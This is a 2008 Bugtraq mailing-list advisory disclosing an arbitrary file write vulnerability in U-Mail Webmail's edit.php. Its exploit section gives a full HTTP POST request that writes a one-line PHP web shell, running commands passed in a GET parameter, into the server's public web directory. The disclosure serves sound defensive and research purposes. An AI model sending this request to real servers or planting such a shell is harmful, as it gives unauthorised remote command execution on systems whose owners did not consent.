[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    U-Mail Webmail 'edit.php' Arbitrary File Write Vulnerability
From:       WSN1983 () GMAIL ! COM
Date:       2008-10-31 4:32:43
Message-ID: 200810310432.m9V4WhN7013518 () www5 ! securityfocus ! com
[Download RAW message or body]

U-Mail Webmail Arbitrary File Write Vulnerability

==================================================

Vulnerable: 	U-Mail 4.91 
Vendors:	www.comingchina.com	
Category:   	Input Validation Error
Impact:		An attacker can write arbitrary data to new files.
Author:		Shennan Wang
Date:		2008-10-30
Web:		http://hi.baidu.com/nansec


Details:
=========	
This vulnerability allows remote attackers to write arbitrary file on vulnerable \
installations of U-Mail Webmail Server. Authentication is required to exploit this \
vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail \
Webmail Server. A malicious HTTP POST request can write arbitrary file to the \
publicly accessible web directories.


Exploit:
=========
POST /webmail/modules/filesystem/edit.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, \
application/x-shockwave-flash, application/vnd.ms-excel, \
application/vnd.ms-powerpoint, application/msword, application/x-silverlight, \
application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, \
                application/x-ms-application, */*
Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR \
                2.0.50727; .NET CLR 3.0.04506.30)
Host: mail.d4rkn3t.cn
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style; \
PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18

path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?system($_GET[cmd]);?>
  


[prev in list] [next in list] [prev in thread] [next in thread]